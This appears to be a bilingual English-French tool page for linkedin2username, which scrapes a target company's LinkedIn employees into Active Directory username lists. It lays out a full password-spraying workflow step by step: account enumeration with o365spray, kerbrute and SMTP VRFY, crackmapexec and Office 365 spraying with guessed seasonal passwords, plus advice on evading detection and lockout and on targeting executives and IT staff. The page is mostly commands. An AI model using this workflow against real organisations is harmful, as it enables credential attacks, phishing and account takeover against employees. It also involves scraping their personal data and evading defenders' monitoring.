linkedin2username

Génère des listes de noms d'utilisateur à partir des employés d'une entreprise sur LinkedIn. Utile pour le password spraying ciblé et le phishing : crée des noms d'utilisateur selon les conventions de nommage AD courantes. Generates username lists from LinkedIn company employees. Useful for targeted password spraying and phishing — creates usernames in common AD naming conventions.

↗ https://github.com/initstring/linkedin2username

Overview

linkedin2username scrapes LinkedIn for employees at a target company and generates username lists in common Active Directory naming formats (firstname.lastname, f.lastname, flastname, etc.). The output is directly usable for password spraying, phishing target lists, or enumerating valid AD accounts.

Installation

git clone https://github.com/initstring/linkedin2username
cd linkedin2username
pip3 install -r requirements.txt

Basic Usage

Requires LinkedIn account credentials

python3 linkedin2username.py -u your@email.com -c "Target Company"

Specify output formats

python3 linkedin2username.py -u your@email.com -c "Target Company" -n 100

Limit results to first N employees

python3 linkedin2username.py -u your@email.com -c "Target Company" -n 50

Add a domain suffix to usernames

python3 linkedin2username.py -u your@email.com -c "Target Company" -d targetcorp.com

Username Formats Generated

# linkedin2username outputs multiple naming conventions:
# Given: John Smith

firstname.lastname john.smith
f.lastname j.smith
flastname jsmith
firstnamelastname johnsmith
lastname.firstname smith.john
firstname john
firstname_lastname john_smith

# With domain suffix (-d):
john.smith@targetcorp.com
j.smith@targetcorp.com

Password Spraying Workflow

Step 1: Collect usernames

python3 linkedin2username.py -u me@email.com -c "ACME Corp" -d acme.com > users.txt

Step 2: Test if usernames exist (enumerate valid ones) Via OWA (Outlook Web Access):

o365spray --validate --userfile users.txt --domain acme.com

Via Kerbrute (AD):

kerbrute userenum --domain acme.com -dc DC01 users.txt
# Step 3: Password spray (be careful of lockout!)
# With just common passwords:
crackmapexec smb DC01 -u users.txt -p 'Spring2024!'
crackmapexec smb DC01 -u users.txt -p 'Company@2024'

Against Office 365:

o365spray --spray --userfile valid_users.txt --passfile passwords.txt --domain acme.com

Avoiding Detection

# LinkedIn rate-limits scraping
# Add delays, don't scrape entire company at once
# Use separate LinkedIn account (throwaway)

# During spray:
# Check lockout threshold first (default: 5-10 failed attempts)
# Use crackmapexec --continue-on-success
# Spray once per day maximum (most policies reset after 30 min - 1 hour)

Verifying Usernames

Verify via SMTP user enumeration

smtp-user-enum -M VRFY -U users.txt -t mail.targetcorp.com
# Via OWA timing-based enumeration
# o365spray validates without triggering lockout

Via Kerbrute (AS-REP check, no auth needed)

kerbrute userenum -d acme.com --dc 10.10.10.1 users.txt

Tips

  • Focus on specific departments (IT, Security, Finance) for higher-privilege accounts
  • Try multiple username formats — AD naming conventions vary by organization
  • CEO/Executive accounts often have their name as username (john.doe@company.com)
  • Combine with cewl company website output for custom password lists
Help / Man page
linkedin2username.py [options]

-u EMAIL      Your LinkedIn login email
-p PASS       Your LinkedIn password (or prompted)
-c COMPANY    Target company name (as shown on LinkedIn)
-n COUNT      Max employees to scrape
-d DOMAIN     Email domain to append (e.g., company.com)
-s            Sleep delay between requests (default: 2)
-v            Verbose output

Vue d’ensemble

linkedin2username scrape LinkedIn pour trouver les employés d’une entreprise cible et génère des listes de noms d’utilisateur selon les formats de nommage Active Directory courants (firstname.lastname, f.lastname, flastname, etc.). Le résultat est directement utilisable pour le password spraying, les listes de cibles de phishing, ou l’énumération de comptes AD valides.

Installation

git clone https://github.com/initstring/linkedin2username
cd linkedin2username
pip3 install -r requirements.txt

Utilisation de base

# Nécessite des identifiants de compte LinkedIn
python3 linkedin2username.py -u your@email.com -c "Target Company"

# Spécifier les formats de sortie
python3 linkedin2username.py -u your@email.com -c "Target Company" -n 100

# Limiter les résultats aux N premiers employés
python3 linkedin2username.py -u your@email.com -c "Target Company" -n 50

# Ajouter un suffixe de domaine aux noms d'utilisateur
python3 linkedin2username.py -u your@email.com -c "Target Company" -d targetcorp.com

Formats de nom d’utilisateur générés

# linkedin2username génère plusieurs conventions de nommage :
# Exemple : John Smith

firstname.lastname john.smith
f.lastname j.smith
flastname jsmith
firstnamelastname johnsmith
lastname.firstname smith.john
firstname john
firstname_lastname john_smith

# Avec suffixe de domaine (-d) :
john.smith@targetcorp.com
j.smith@targetcorp.com

Workflow de password spraying

# Étape 1 : collecter les noms d'utilisateur
python3 linkedin2username.py -u me@email.com -c "ACME Corp" -d acme.com > users.txt

# Étape 2 : tester si les noms d'utilisateur existent (énumérer les valides)
# Via OWA (Outlook Web Access) :
o365spray --validate --userfile users.txt --domain acme.com

# Via Kerbrute (AD) :
kerbrute userenum --domain acme.com -dc DC01 users.txt

# Étape 3 : password spray (attention au lockout !)
# Avec juste des mots de passe courants :
crackmapexec smb DC01 -u users.txt -p 'Spring2024!'
crackmapexec smb DC01 -u users.txt -p 'Company@2024'

# Contre Office 365 :
o365spray --spray --userfile valid_users.txt --passfile passwords.txt --domain acme.com

Éviter la détection

# LinkedIn limite le débit du scraping
# Ajouter des délais, ne pas scraper toute l'entreprise d'un coup
# Utiliser un compte LinkedIn séparé (jetable)

# Pendant le spray :
# Vérifier d'abord le seuil de lockout (par défaut : 5 à 10 tentatives échouées)
# Utiliser crackmapexec --continue-on-success
# Sprayer une fois par jour maximum (la plupart des politiques se réinitialisent après 30 min à 1 heure)

Vérification des noms d’utilisateur

# Vérifier via l'énumération d'utilisateurs SMTP
smtp-user-enum -M VRFY -U users.txt -t mail.targetcorp.com

# Via l'énumération temporelle OWA
# o365spray valide sans déclencher de lockout

# Via Kerbrute (vérification AS-REP, pas d'authentification nécessaire)
kerbrute userenum -d acme.com --dc 10.10.10.1 users.txt

Conseils

  • Se concentrer sur des départements spécifiques (IT, sécurité, finance) pour des comptes à privilèges plus élevés
  • Essayer plusieurs formats de nom d’utilisateur : les conventions de nommage AD varient selon les organisations
  • Les comptes CEO/exécutifs ont souvent leur nom complet comme identifiant (john.doe@company.com)
  • Combiner avec la sortie de cewl sur le site web de l’entreprise pour des listes de mots de passe personnalisées
Aide / Page de manuel
linkedin2username.py [options]

-u EMAIL      Your LinkedIn login email
-p PASS       Your LinkedIn password (or prompted)
-c COMPANY    Target company name (as shown on LinkedIn)
-n COUNT      Max employees to scrape
-d DOMAIN     Email domain to append (e.g., company.com)
-s            Sleep delay between requests (default: 2)
-v            Verbose output